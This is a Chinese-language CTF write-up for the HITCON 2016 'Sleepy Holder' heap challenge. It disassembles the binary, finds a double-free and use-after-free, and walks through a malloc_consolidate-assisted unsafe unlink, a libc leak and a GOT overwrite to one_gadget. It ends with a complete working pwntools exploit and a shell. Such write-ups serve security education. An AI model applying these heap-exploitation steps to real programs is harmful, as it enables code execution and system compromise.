6.1.22 pwn HITCONCTF2016 Sleepy_Holder

下载文件

题目复现

  1. $ file SleepyHolder
  2. SleepyHolder: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=46f0e70abd9460828444d7f0975a8b2f2ddbad46, stripped
  3. $ checksec -f SleepyHolder
  4. RELRO STACK CANARY NX PIE RPATH RUNPATH FORTIFY Fortified Fortifiable FILE
  5. Partial RELRO Canary found NX enabled No PIE No RPATH No RUNPATH Yes 0 2 SleepyHolder
  6. $ strings libc-2.23.so | grep "GNU C"
  7. GNU C Library (Ubuntu GLIBC 2.23-0ubuntu3) stable release version 2.23, by Roland McGrath et al.
  8. Compiled by GNU CC version 5.3.1 20160413.

64 位程序,开启了 Canary 和 NX,默认开启 ASLR。

在 Ubuntu-16.04 上玩一下:

  1. $ ./SleepyHolder
  2. Waking Sleepy Holder up ...
  3. Hey! Do you have any secret?
  4. I can help you to hold your secrets, and no one will be able to see it :)
  5. 1. Keep secret
  6. 2. Wipe secret
  7. 3. Renew secret
  8. 1
  9. What secret do you want to keep?
  10. 1. Small secret
  11. 2. Big secret
  12. 3. Keep a huge secret and lock it forever
  13. 1
  14. Tell me your secret:
  15. AAAA
  16. 1. Keep secret
  17. 2. Wipe secret
  18. 3. Renew secret
  19. 1
  20. What secret do you want to keep?
  21. 1. Small secret
  22. 2. Big secret
  23. 3. Keep a huge secret and lock it forever
  24. 3
  25. Tell me your secret:
  26. CCCC
  27. 1. Keep secret
  28. 2. Wipe secret
  29. 3. Renew secret
  30. 3
  31. Which Secret do you want to renew?
  32. 1. Small secret
  33. 2. Big secret
  34. 1
  35. Tell me your secret:
  36. BBBB
  37. 1. Keep secret
  38. 2. Wipe secret
  39. 3. Renew secret
  40. 2
  41. Which Secret do you want to wipe?
  42. 1. Small secret
  43. 2. Big secret
  44. 1

这一题看起来和上一题 Secret_Holder 差不多。同样是 small、big、huge 三种 secret,不同的是这里的 huge secret 是不可修改和删除的。

题目解析

下面我们逐个来逆向这些功能。

Keep secret

  1. [0x00400850]> pdf @ sub.What_secret_do_you_want_to_keep_93d
  2. / (fcn) sub.What_secret_do_you_want_to_keep_93d 452
  3. | sub.What_secret_do_you_want_to_keep_93d ();
  4. | ; var int local_14h @ rbp-0x14
  5. | ; var int local_10h @ rbp-0x10
  6. | ; var int local_8h @ rbp-0x8
  7. | ; CALL XREF from 0x00400e3c (main)
  8. | 0x0040093d push rbp
  9. | 0x0040093e mov rbp, rsp
  10. | 0x00400941 sub rsp, 0x20
  11. | 0x00400945 mov rax, qword fs:[0x28] ; [0x28:8]=-1 ; '(' ; 40
  12. | 0x0040094e mov qword [local_8h], rax
  13. | 0x00400952 xor eax, eax
  14. | 0x00400954 mov edi, str.What_secret_do_you_want_to_keep ; 0x400ee8 ; "What secret do you want to keep?"
  15. | 0x00400959 call sym.imp.puts ; int puts(const char *s)
  16. | 0x0040095e mov edi, str.1._Small_secret ; 0x400f09 ; "1. Small secret"
  17. | 0x00400963 call sym.imp.puts ; int puts(const char *s)
  18. | 0x00400968 mov edi, str.2._Big_secret ; 0x400f19 ; "2. Big secret"
  19. | 0x0040096d call sym.imp.puts ; int puts(const char *s)
  20. | 0x00400972 mov eax, dword [0x006020dc] ; huge_flag,表示 huge secret 是否已存在
  21. | 0x00400978 test eax, eax
  22. | ,=< 0x0040097a jne 0x400986 ; huge_flag 1 时跳转
  23. | | 0x0040097c mov edi, str.3._Keep_a_huge_secret_and_lock_it_forever ; 0x400f28 ; "3. Keep a huge secret and lock it forever"
  24. | | 0x00400981 call sym.imp.puts ; 否则打印出来
  25. | | ; JMP XREF from 0x0040097a (sub.What_secret_do_you_want_to_keep_93d)
  26. | `-> 0x00400986 lea rax, [local_10h]
  27. | 0x0040098a mov edx, 4
  28. | 0x0040098f mov esi, 0
  29. | 0x00400994 mov rdi, rax
  30. | 0x00400997 call sym.imp.memset ; void *memset(void *s, int c, size_t n)
  31. | 0x0040099c lea rax, [local_10h]
  32. | 0x004009a0 mov edx, 4
  33. | 0x004009a5 mov rsi, rax
  34. | 0x004009a8 mov edi, 0
  35. | 0x004009ad mov eax, 0
  36. | 0x004009b2 call sym.imp.read ; ssize_t read(int fildes, void *buf, size_t nbyte)
  37. | 0x004009b7 lea rax, [local_10h]
  38. | 0x004009bb mov rdi, rax
  39. | 0x004009be call sym.imp.atoi ; int atoi(const char *str)
  40. | 0x004009c3 mov dword [local_14h], eax
  41. | 0x004009c6 mov eax, dword [local_14h]
  42. | 0x004009c9 cmp eax, 2 ; 2
  43. | ,=< 0x004009cc je 0x400a3d ; big secret
  44. | | 0x004009ce cmp eax, 3 ; 3
  45. | ,==< 0x004009d1 je 0x400a96 ; huge secret
  46. | || 0x004009d7 cmp eax, 1 ; 1
  47. | ,===< 0x004009da je 0x4009e1 ; small secret
  48. | ,====< 0x004009dc jmp 0x400aeb
  49. | |||| ; JMP XREF from 0x004009da (sub.What_secret_do_you_want_to_keep_93d)
  50. | |`---> 0x004009e1 mov eax, dword [0x006020e0] ; small_flag,表示 small secret 是否已存在
  51. | | || 0x004009e7 test eax, eax
  52. | |,===< 0x004009e9 je 0x4009f0 ; small_flag 0
  53. | ,=====< 0x004009eb jmp 0x400aeb
  54. | ||||| ; JMP XREF from 0x004009e9 (sub.What_secret_do_you_want_to_keep_93d)
  55. | ||`---> 0x004009f0 mov esi, 0x28 ; '(' ; 40
  56. | || || 0x004009f5 mov edi, 1
  57. | || || 0x004009fa call sym.imp.calloc ; calloc(1, 0x28) 为 small secret 分配空间
  58. | || || 0x004009ff mov qword [0x006020d0], rax ; 把地址放到 [0x006020d0]
  59. | || || 0x00400a06 mov dword [0x006020e0], 1 ; 设置 small_flag 为 1
  60. | || || 0x00400a10 mov edi, str.Tell_me_your_secret: ; 0x400f52 ; "Tell me your secret: "
  61. | || || 0x00400a15 call sym.imp.puts ; int puts(const char *s)
  62. | || || 0x00400a1a mov rax, qword [0x006020d0] ; [0x6020d0:8]=0
  63. | || || 0x00400a21 mov edx, 0x28 ; '(' ; 40
  64. | || || 0x00400a26 mov rsi, rax
  65. | || || 0x00400a29 mov edi, 0
  66. | || || 0x00400a2e mov eax, 0
  67. | || || 0x00400a33 call sym.imp.read ; read(0, [0x006020d0], 0x28) 读入 small secret
  68. | ||,===< 0x00400a38 jmp 0x400aeb
  69. | ||||| ; JMP XREF from 0x004009cc (sub.What_secret_do_you_want_to_keep_93d)
  70. | ||||`-> 0x00400a3d mov eax, dword [0x006020d8] ; big_flag,表示 big secret 是否已存在
  71. | |||| 0x00400a43 test eax, eax
  72. | ||||,=< 0x00400a45 je 0x400a4c ; big_flag 0
  73. | ,======< 0x00400a47 jmp 0x400aeb
  74. | |||||| ; JMP XREF from 0x00400a45 (sub.What_secret_do_you_want_to_keep_93d)
  75. | |||||`-> 0x00400a4c mov esi, 0xfa0 ; 4000
  76. | ||||| 0x00400a51 mov edi, 1
  77. | ||||| 0x00400a56 call sym.imp.calloc ; calloc(1, 0xfa0) 为 big secret 分配空间
  78. | ||||| 0x00400a5b mov qword [0x006020c0], rax ; 把地址放到 [0x006020c0]
  79. | ||||| 0x00400a62 mov dword [0x006020d8], 1 ; 设置 big_flag 为 1
  80. | ||||| 0x00400a6c mov edi, str.Tell_me_your_secret: ; 0x400f52 ; "Tell me your secret: "
  81. | ||||| 0x00400a71 call sym.imp.puts ; int puts(const char *s)
  82. | ||||| 0x00400a76 mov rax, qword [0x006020c0] ; [0x6020c0:8]=0
  83. | ||||| 0x00400a7d mov edx, 0xfa0 ; 4000
  84. | ||||| 0x00400a82 mov rsi, rax
  85. | ||||| 0x00400a85 mov edi, 0
  86. | ||||| 0x00400a8a mov eax, 0
  87. | ||||| 0x00400a8f call sym.imp.read ; read(0, [0x006020c0], 0xfa0) 读入 big secret
  88. | |||||,=< 0x00400a94 jmp 0x400aeb
  89. | |||||| ; JMP XREF from 0x004009d1 (sub.What_secret_do_you_want_to_keep_93d)
  90. | ||||`--> 0x00400a96 mov eax, dword [0x006020dc] ; huge_flag,表示 huge secret 是否已存在
  91. | |||| | 0x00400a9c test eax, eax
  92. | ||||,==< 0x00400a9e je 0x400aa2 ; huge_flag 0
  93. | ,=======< 0x00400aa0 jmp 0x400aeb
  94. | ||||||| ; JMP XREF from 0x00400a9e (sub.What_secret_do_you_want_to_keep_93d)
  95. | |||||`--> 0x00400aa2 mov esi, 0x61a80
  96. | ||||| | 0x00400aa7 mov edi, 1
  97. | ||||| | 0x00400aac call sym.imp.calloc ; calloc(1, 0x61a80) 为 huge secret 分配空间
  98. | ||||| | 0x00400ab1 mov qword [0x006020c8], rax ; 把地址放到 [0x006020c8]
  99. | ||||| | 0x00400ab8 mov dword [0x006020dc], 1 ; 设置 huge_flag 为 1
  100. | ||||| | 0x00400ac2 mov edi, str.Tell_me_your_secret: ; 0x400f52 ; "Tell me your secret: "
  101. | ||||| | 0x00400ac7 call sym.imp.puts ; int puts(const char *s)
  102. | ||||| | 0x00400acc mov rax, qword [0x006020c8] ; [0x6020c8:8]=0
  103. | ||||| | 0x00400ad3 mov edx, 0x61a80
  104. | ||||| | 0x00400ad8 mov rsi, rax
  105. | ||||| | 0x00400adb mov edi, 0
  106. | ||||| | 0x00400ae0 mov eax, 0
  107. | ||||| | 0x00400ae5 call sym.imp.read ; read(0, [0x006020c8], 0x61a80) 读入 huge secret
  108. | ||||| | 0x00400aea nop
  109. | ||||| | ; XREFS: JMP 0x004009dc JMP 0x004009eb JMP 0x00400a38 JMP 0x00400a47 JMP 0x00400a94 JMP 0x00400aa0
  110. | `````-`-> 0x00400aeb mov rax, qword [local_8h]
  111. | 0x00400aef xor rax, qword fs:[0x28]
  112. | ,=< 0x00400af8 je 0x400aff
  113. | | 0x00400afa call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void)
  114. | | ; JMP XREF from 0x00400af8 (sub.What_secret_do_you_want_to_keep_93d)
  115. | `-> 0x00400aff leave
  116. \ 0x00400b00 ret

还是一样的,该函数使用 calloc() 为三种 secret 分别了不同大小的 chunk,small secret 属于 small chunk,big secret 和 huge secret 属于 large chunk。在分配前,会检查对应的 secret 是否已经存在,即每种 chunk 只能有一个。另外看函数开头部分,huge secret 显然受到了特殊处理。

  • small secret: small chunk, 40 bytes
    • small_ptr: 0x006020d0
    • small_flag: 0x006020e0
  • big secret: large chunk, 4000 bytes
    • big_ptr: 0x006020c0
    • big_flag: 0x006020d8
  • huge secret: large chunk, 400000 bytes
    • huge_ptr: 0x006020c8
    • huge_flag: 0x006020dc

Wipe secret

  1. [0x00400850]> pdf @ sub.Which_Secret_do_you_want_to_wipe_b01
  2. / (fcn) sub.Which_Secret_do_you_want_to_wipe_b01 207
  3. | sub.Which_Secret_do_you_want_to_wipe_b01 ();
  4. | ; var int local_14h @ rbp-0x14
  5. | ; var int local_10h @ rbp-0x10
  6. | ; var int local_8h @ rbp-0x8
  7. | ; CALL XREF from 0x00400e48 (main)
  8. | 0x00400b01 push rbp
  9. | 0x00400b02 mov rbp, rsp
  10. | 0x00400b05 sub rsp, 0x20
  11. | 0x00400b09 mov rax, qword fs:[0x28] ; [0x28:8]=-1 ; '(' ; 40
  12. | 0x00400b12 mov qword [local_8h], rax
  13. | 0x00400b16 xor eax, eax
  14. | 0x00400b18 mov edi, str.Which_Secret_do_you_want_to_wipe ; 0x400f68 ; "Which Secret do you want to wipe?"
  15. | 0x00400b1d call sym.imp.puts ; int puts(const char *s)
  16. | 0x00400b22 mov edi, str.1._Small_secret ; 0x400f09 ; "1. Small secret"
  17. | 0x00400b27 call sym.imp.puts ; int puts(const char *s)
  18. | 0x00400b2c mov edi, str.2._Big_secret ; 0x400f19 ; "2. Big secret"
  19. | 0x00400b31 call sym.imp.puts ; int puts(const char *s)
  20. | 0x00400b36 lea rax, [local_10h]
  21. | 0x00400b3a mov edx, 4
  22. | 0x00400b3f mov esi, 0
  23. | 0x00400b44 mov rdi, rax
  24. | 0x00400b47 call sym.imp.memset ; void *memset(void *s, int c, size_t n)
  25. | 0x00400b4c lea rax, [local_10h]
  26. | 0x00400b50 mov edx, 4
  27. | 0x00400b55 mov rsi, rax
  28. | 0x00400b58 mov edi, 0
  29. | 0x00400b5d mov eax, 0
  30. | 0x00400b62 call sym.imp.read ; ssize_t read(int fildes, void *buf, size_t nbyte)
  31. | 0x00400b67 lea rax, [local_10h]
  32. | 0x00400b6b mov rdi, rax
  33. | 0x00400b6e call sym.imp.atoi ; int atoi(const char *str)
  34. | 0x00400b73 mov dword [local_14h], eax
  35. | 0x00400b76 mov eax, dword [local_14h]
  36. | 0x00400b79 cmp eax, 1 ; 1
  37. | ,=< 0x00400b7c je 0x400b85 ; small secret
  38. | | 0x00400b7e cmp eax, 2 ; 2
  39. | ,==< 0x00400b81 je 0x400ba0 ; big secret
  40. | ,===< 0x00400b83 jmp 0x400bba
  41. | ||| ; JMP XREF from 0x00400b7c (sub.Which_Secret_do_you_want_to_wipe_b01)
  42. | ||`-> 0x00400b85 mov rax, qword [0x006020d0] ; [0x6020d0:8]=0
  43. | || 0x00400b8c mov rdi, rax
  44. | || 0x00400b8f call sym.imp.free ; free([0x006020d0]) 释放 small secret
  45. | || 0x00400b94 mov dword [0x006020e0], 0 ; 设置 small_flag 为 0
  46. | ||,=< 0x00400b9e jmp 0x400bba
  47. | ||| ; JMP XREF from 0x00400b81 (sub.Which_Secret_do_you_want_to_wipe_b01)
  48. | |`--> 0x00400ba0 mov rax, qword [0x006020c0] ; [0x6020c0:8]=0
  49. | | | 0x00400ba7 mov rdi, rax
  50. | | | 0x00400baa call sym.imp.free ; free([0x006020c0]) 释放 big secret
  51. | | | 0x00400baf mov dword [0x006020d8], 0 ; 设置 big_flag 0
  52. | | | 0x00400bb9 nop
  53. | | | ; JMP XREF from 0x00400b83 (sub.Which_Secret_do_you_want_to_wipe_b01)
  54. | | | ; JMP XREF from 0x00400b9e (sub.Which_Secret_do_you_want_to_wipe_b01)
  55. | `-`-> 0x00400bba mov rax, qword [local_8h]
  56. | 0x00400bbe xor rax, qword fs:[0x28]
  57. | ,=< 0x00400bc7 je 0x400bce
  58. | | 0x00400bc9 call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void)
  59. | | ; JMP XREF from 0x00400bc7 (sub.Which_Secret_do_you_want_to_wipe_b01)
  60. | `-> 0x00400bce leave
  61. \ 0x00400bcf ret

该函数只能释放 small secret 和 big secret。释放的过程首先将对应的 chunk 释放掉,然后设置对应 flag 为 0。漏洞很明显,就是没有将 chunk 指针清空,存在悬指针,可能导致 use-after-free,然后在释放前,也没有检查 flag,可能导致 double-free。

Renew secret

  1. [0x00400850]> pdf @ sub.Which_Secret_do_you_want_to_renew_bd0
  2. / (fcn) sub.Which_Secret_do_you_want_to_renew_bd0 259
  3. | sub.Which_Secret_do_you_want_to_renew_bd0 ();
  4. | ; var int local_14h @ rbp-0x14
  5. | ; var int local_10h @ rbp-0x10
  6. | ; var int local_8h @ rbp-0x8
  7. | ; CALL XREF from 0x00400e54 (main)
  8. | 0x00400bd0 push rbp
  9. | 0x00400bd1 mov rbp, rsp
  10. | 0x00400bd4 sub rsp, 0x20
  11. | 0x00400bd8 mov rax, qword fs:[0x28] ; [0x28:8]=-1 ; '(' ; 40
  12. | 0x00400be1 mov qword [local_8h], rax
  13. | 0x00400be5 xor eax, eax
  14. | 0x00400be7 mov edi, str.Which_Secret_do_you_want_to_renew ; 0x400f90 ; "Which Secret do you want to renew?"
  15. | 0x00400bec call sym.imp.puts ; int puts(const char *s)
  16. | 0x00400bf1 mov edi, str.1._Small_secret ; 0x400f09 ; "1. Small secret"
  17. | 0x00400bf6 call sym.imp.puts ; int puts(const char *s)
  18. | 0x00400bfb mov edi, str.2._Big_secret ; 0x400f19 ; "2. Big secret"
  19. | 0x00400c00 call sym.imp.puts ; int puts(const char *s)
  20. | 0x00400c05 lea rax, [local_10h]
  21. | 0x00400c09 mov edx, 4
  22. | 0x00400c0e mov esi, 0
  23. | 0x00400c13 mov rdi, rax
  24. | 0x00400c16 call sym.imp.memset ; void *memset(void *s, int c, size_t n)
  25. | 0x00400c1b lea rax, [local_10h]
  26. | 0x00400c1f mov edx, 4
  27. | 0x00400c24 mov rsi, rax
  28. | 0x00400c27 mov edi, 0
  29. | 0x00400c2c mov eax, 0
  30. | 0x00400c31 call sym.imp.read ; ssize_t read(int fildes, void *buf, size_t nbyte)
  31. | 0x00400c36 lea rax, [local_10h]
  32. | 0x00400c3a mov rdi, rax
  33. | 0x00400c3d call sym.imp.atoi ; int atoi(const char *str)
  34. | 0x00400c42 mov dword [local_14h], eax
  35. | 0x00400c45 mov eax, dword [local_14h]
  36. | 0x00400c48 cmp eax, 1 ; 1
  37. | ,=< 0x00400c4b je 0x400c54 ; small secret
  38. | | 0x00400c4d cmp eax, 2 ; 2
  39. | ,==< 0x00400c50 je 0x400c8a ; big secret
  40. | ,===< 0x00400c52 jmp 0x400cbd
  41. | ||| ; JMP XREF from 0x00400c4b (sub.Which_Secret_do_you_want_to_renew_bd0)
  42. | ||`-> 0x00400c54 mov eax, dword [0x006020e0] ; [0x6020e0:4]=0
  43. | || 0x00400c5a test eax, eax
  44. | ||,=< 0x00400c5c je 0x400c88 ; small_flag 为 0 时,函数返回
  45. | ||| 0x00400c5e mov edi, str.Tell_me_your_secret: ; 0x400f52 ; "Tell me your secret: "
  46. | ||| 0x00400c63 call sym.imp.puts ; int puts(const char *s)
  47. | ||| 0x00400c68 mov rax, qword [0x006020d0] ; [0x6020d0:8]=0
  48. | ||| 0x00400c6f mov edx, 0x28 ; '(' ; 40
  49. | ||| 0x00400c74 mov rsi, rax
  50. | ||| 0x00400c77 mov edi, 0
  51. | ||| 0x00400c7c mov eax, 0
  52. | ||| 0x00400c81 call sym.imp.read ; read(0, [0x006020d0], 0x28) 否则读入 small secret
  53. | ,====< 0x00400c86 jmp 0x400cbd
  54. | |||| ; JMP XREF from 0x00400c5c (sub.Which_Secret_do_you_want_to_renew_bd0)
  55. | ,===`-> 0x00400c88 jmp 0x400cbd
  56. | |||| ; JMP XREF from 0x00400c50 (sub.Which_Secret_do_you_want_to_renew_bd0)
  57. | |||`--> 0x00400c8a mov eax, dword [0x006020d8] ; [0x6020d8:4]=0
  58. | ||| 0x00400c90 test eax, eax
  59. | ||| ,=< 0x00400c92 je 0x400cbc ; big_flag 为 0 时,函数返回
  60. | ||| | 0x00400c94 mov edi, str.Tell_me_your_secret: ; 0x400f52 ; "Tell me your secret: "
  61. | ||| | 0x00400c99 call sym.imp.puts ; int puts(const char *s)
  62. | ||| | 0x00400c9e mov rax, qword [0x006020c0] ; [0x6020c0:8]=0
  63. | ||| | 0x00400ca5 mov edx, 0xfa0 ; 4000
  64. | ||| | 0x00400caa mov rsi, rax
  65. | ||| | 0x00400cad mov edi, 0
  66. | ||| | 0x00400cb2 mov eax, 0
  67. | ||| | 0x00400cb7 call sym.imp.read ; read(0, [0x006020c0], 0xfa0) 否则读入 big secret
  68. | ||| | ; JMP XREF from 0x00400c92 (sub.Which_Secret_do_you_want_to_renew_bd0)
  69. | ||| `-> 0x00400cbc nop
  70. | ||| ; JMP XREF from 0x00400c52 (sub.Which_Secret_do_you_want_to_renew_bd0)
  71. | ||| ; JMP XREF from 0x00400c86 (sub.Which_Secret_do_you_want_to_renew_bd0)
  72. | ||| ; JMP XREF from 0x00400c88 (sub.Which_Secret_do_you_want_to_renew_bd0)
  73. | ```---> 0x00400cbd mov rax, qword [local_8h]
  74. | 0x00400cc1 xor rax, qword fs:[0x28]
  75. | ,=< 0x00400cca je 0x400cd1
  76. | | 0x00400ccc call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void)
  77. | | ; JMP XREF from 0x00400cca (sub.Which_Secret_do_you_want_to_renew_bd0)
  78. | `-> 0x00400cd1 leave
  79. \ 0x00400cd2 ret

该函数只能对 small secret 和 big secret 进行修改,所以 huge secret 就是一次分配,永远存在且内容不可修改了。过程是首先判断对应的 flag 是否为 1,即 secret 是否已经存在,如果不存在,则读入 secret,否则函数直接返回。

漏洞利用

总结一下我们知道的东西:

  • small secret: small chunk, 40 bytes
    • small_ptr: 0x006020d0
    • small_flag: 0x006020e0
  • big secret: large chunk, 4000 bytes
    • big_ptr: 0x006020c0
    • big_flag: 0x006020d8
  • huge secret: large chunk, 400000 bytes
    • huge_ptr: 0x006020c8
    • huge_flag: 0x006020dc

漏洞:

  • double-free:在 free chunk 的位置 calloc 另一个 chunk,即可再次 free 这个 chunk
  • use-after-free:由于 double-free,calloc 出来的那个 chunk 被认为是 free 的,但可以使用

看到这里该题与上一题的差别很明显了,就是我们没有办法再通过 keep(huge) -> wipe(huge) -> keep(huge) 来利用 brk() 分配内存,制造 unsafe unlink。

然后我们又在 _int_malloc() 中发现了另一个东西:

  1. static void*
  2. _int_malloc(mstate av, size_t bytes)
  3. {
  4. /*
  5. If this is a large request, consolidate fastbins before continuing.
  6. While it might look excessive to kill all fastbins before
  7. even seeing if there is space available, this avoids
  8. fragmentation problems normally associated with fastbins.
  9. Also, in practice, programs tend to have runs of either small or
  10. large requests, but less often mixtures, so consolidation is not
  11. invoked all that often in most programs. And the programs that
  12. it is called frequently in otherwise tend to fragment.
  13. */
  14. else {
  15. idx = largebin_index(nb);
  16. if (have_fastchunks(av))
  17. malloc_consolidate(av);
  18. }

当需求 chunk 是一个 large chunk 时,glibc 会将把 fastbins 中的 chunk 移除,设置 PREV_INUSE 为 0,合并 free chunk,然后放到 unsorted bin。接着 glibc 尝试从 unsorted bin 中取出 chunk,由于大小不合适,这些 chunk 又被放到 small bin 中:

  1. /* place chunk in bin */
  2. if (in_smallbin_range (size))
  3. {
  4. victim_index = smallbin_index (size);
  5. bck = bin_at (av, victim_index);
  6. fwd = bck->fd;
  7. }

这时就可以再次释放 small secret 而不触发 double-free 的检测。

那么为什么一定要将 small secret 放进 small bin 呢?因为当 chunk 被放进 small bin 时,会相应的修改 next chunk(即big secret)的 chunk header(设置prev_size,PREV_INUSE置0),而当 chunk 被放进 fastbins 时是不会有这样的操作的。接下来我们需要通过 double-free 将 small secret 再次放进 fastbins(这时small secret同时存在于fastbins和small bin中),再从 fastbins 中取出 small secret,原因和上面类似,从 fastbins 中取出 chunk 不会设置 next chunk 的 chunk header。这样我们才能正确地触发 unlink。

  1. def unlink():
  2. keep(1, "AAAA") # small
  3. keep(2, "AAAA") # big
  4. wipe(1) # put small into fastbins
  5. keep(3, "AAAA") # huge # put small into small bin
  6. wipe(1) # double free # put small into fastbins
  7. payload = p64(0) + p64(0x21) # fake header
  8. payload += p64(small_ptr - 0x18) # fake fd
  9. payload += p64(small_ptr - 0x10) # fake bk
  10. payload += p64(0x20) # fake prev_size
  11. keep(1, payload)
  12. wipe(2) # unsafe unlink

制造 double-free:

  1. gdb-peda$ x/5gx 0x006020c0
  2. 0x6020c0: 0x0000000000603560 0x00007ffff7f92010
  3. 0x6020d0: 0x0000000000603530 0x0000000100000001
  4. 0x6020e0: 0x0000000000000000
  5. gdb-peda$ x/10gx 0x00603530-0x10
  6. 0x603520: 0x0000000000000000 0x0000000000000031 <-- small
  7. 0x603530: 0x0000000000000000 0x00007ffff7dd1b98
  8. 0x603540: 0x0000000000000000 0x0000000000000000
  9. 0x603550: 0x0000000000000030 0x0000000000000fb0 <-- big <-- PREV_INUSE
  10. 0x603560: 0x0000000041414141 0x0000000000000000

上面的过程一方面通过 malloc_consolidate 设置了 big secret 的 PREV_INUSE,另一方面通过 double-free 将 small secret 放进 fastbins。

在 small secret 中布置上一个 fake chunk:

  1. gdb-peda$ x/5gx 0x006020c0
  2. 0x6020c0: 0x0000000000603560 0x00007ffff7f92010
  3. 0x6020d0: 0x0000000000603530 0x0000000100000001
  4. 0x6020e0: 0x0000000000000001
  5. gdb-peda$ x/10gx 0x00603530-0x10
  6. 0x603520: 0x0000000000000000 0x0000000000000031
  7. 0x603530: 0x0000000000000000 0x0000000000000021 <-- fake chunk
  8. 0x603540: 0x00000000006020b8 0x00000000006020c0 <-- fd, bk pointer
  9. 0x603550: 0x0000000000000020 0x0000000000000fb0 <-- big <-- fake prev_size
  10. 0x603560: 0x0000000041414141 0x0000000000000000
  11. gdb-peda$ x/gx 0x006020b8 + 0x18
  12. 0x6020d0: 0x0000000000603530 <-- P->fd->bk = P
  13. gdb-peda$ x/gx 0x006020c0 + 0x10
  14. 0x6020d0: 0x0000000000603530 <-- P->bk->fd = P

释放 big secret 即可触发 unsafe unlink:

  1. gdb-peda$ x/6gx 0x006020b8
  2. 0x6020b8: 0x0000000000000000 0x0000000000603560
  3. 0x6020c8: 0x00007ffff7f92010 0x00000000006020b8 <-- fake chunk ptr
  4. 0x6020d8: 0x0000000100000000 0x0000000000000001

于是我们就获得了修改 .bss 段的能力。

后面的过程就和上一题完全一样了。

leak libc

  1. def leak():
  2. global one_gadget
  3. payload = "A" * 8
  4. payload += p64(elf.got['free']) # big_ptr -> free@got.plt
  5. payload += "A" * 8
  6. payload += p64(big_ptr) # small_ptr -> big_ptr
  7. payload += p32(1) # big_flag
  8. renew(1, payload)
  9. renew(2, p64(elf.plt['puts'])) # free@got.plt -> puts@plt
  10. renew(1, p64(elf.got['puts'])) # big_ptr -> puts@got.plt
  11. wipe(2)
  12. puts_addr = u64(io.recvline()[:6] + "\x00\x00")
  13. libc_base = puts_addr - libc.symbols['puts']
  14. one_gadget = libc_base + 0x4525a
  15. log.info("libc base: 0x%x" % libc_base)
  16. log.info("one_gadget address: 0x%x" % one_gadget)

pwn

  1. def pwn():
  2. payload = "A" * 0x10
  3. payload += p64(elf.got['puts']) # small_ptr -> puts@got.plt
  4. renew(1, payload)
  5. renew(1, p64(one_gadget)) # puts@got.plt -> one_gadget
  6. io.interactive()

开启 ASLR,Bingo!!!

  1. $ python exp.py
  2. [+] Starting local process './SleepyHolder': pid 8352
  3. [*] libc base: 0x7ffbcd987000
  4. [*] one_gadget address: 0x7ffbcd9cc25a
  5. [*] Switching to interactive mode
  6. $ whoami
  7. firmy

exploit

完整的 exp 如下:

  1. #!/usr/bin/env python
  2. from pwn import *
  3. #context.log_level = 'debug'
  4. io = process(['./SleepyHolder'], env={'LD_PRELOAD':'./libc-2.23.so'})
  5. elf = ELF('SleepyHolder')
  6. libc = ELF('libc-2.23.so')
  7. small_ptr = 0x006020d0
  8. big_ptr = 0x006020c0
  9. def keep(idx, content):
  10. io.sendlineafter("Renew secret\n", '1')
  11. io.sendlineafter("Big secret\n", str(idx))
  12. io.sendafter("secret: \n", content)
  13. def wipe(idx):
  14. io.sendlineafter("Renew secret\n", '2')
  15. io.sendlineafter("Big secret\n", str(idx))
  16. def renew(idx, content):
  17. io.sendlineafter("Renew secret\n", '3')
  18. io.sendlineafter("Big secret\n", str(idx))
  19. io.sendafter("secret: \n", content)
  20. def unlink():
  21. keep(1, "AAAA") # small
  22. keep(2, "AAAA") # big
  23. wipe(1) # put small into fastbins
  24. keep(3, "AAAA") # huge # put small into small bin
  25. wipe(1) # double free # put small into fastbins
  26. payload = p64(0) + p64(0x21) # fake header
  27. payload += p64(small_ptr - 0x18) # fake fd
  28. payload += p64(small_ptr - 0x10) # fake bk
  29. payload += p64(0x20) # fake prev_size
  30. keep(1, payload)
  31. wipe(2) # unsafe unlink
  32. def leak():
  33. global one_gadget
  34. payload = "A" * 8
  35. payload += p64(elf.got['free']) # big_ptr -> free@got.plt
  36. payload += "A" * 8
  37. payload += p64(big_ptr) # small_ptr -> big_ptr
  38. payload += p32(1) # big_flag
  39. renew(1, payload)
  40. renew(2, p64(elf.plt['puts'])) # free@got.plt -> puts@plt
  41. renew(1, p64(elf.got['puts'])) # big_ptr -> puts@got.plt
  42. wipe(2)
  43. puts_addr = u64(io.recvline()[:6] + "\x00\x00")
  44. libc_base = puts_addr - libc.symbols['puts']
  45. one_gadget = libc_base + 0x4525a
  46. log.info("libc base: 0x%x" % libc_base)
  47. log.info("one_gadget address: 0x%x" % one_gadget)
  48. def pwn():
  49. payload = "A" * 0x10
  50. payload += p64(elf.got['puts']) # small_ptr -> puts@got.plt
  51. renew(1, payload)
  52. renew(1, p64(one_gadget)) # puts@got.plt -> one_gadget
  53. io.interactive()
  54. if __name__ == "__main__":
  55. unlink()
  56. leak()
  57. pwn()

参考资料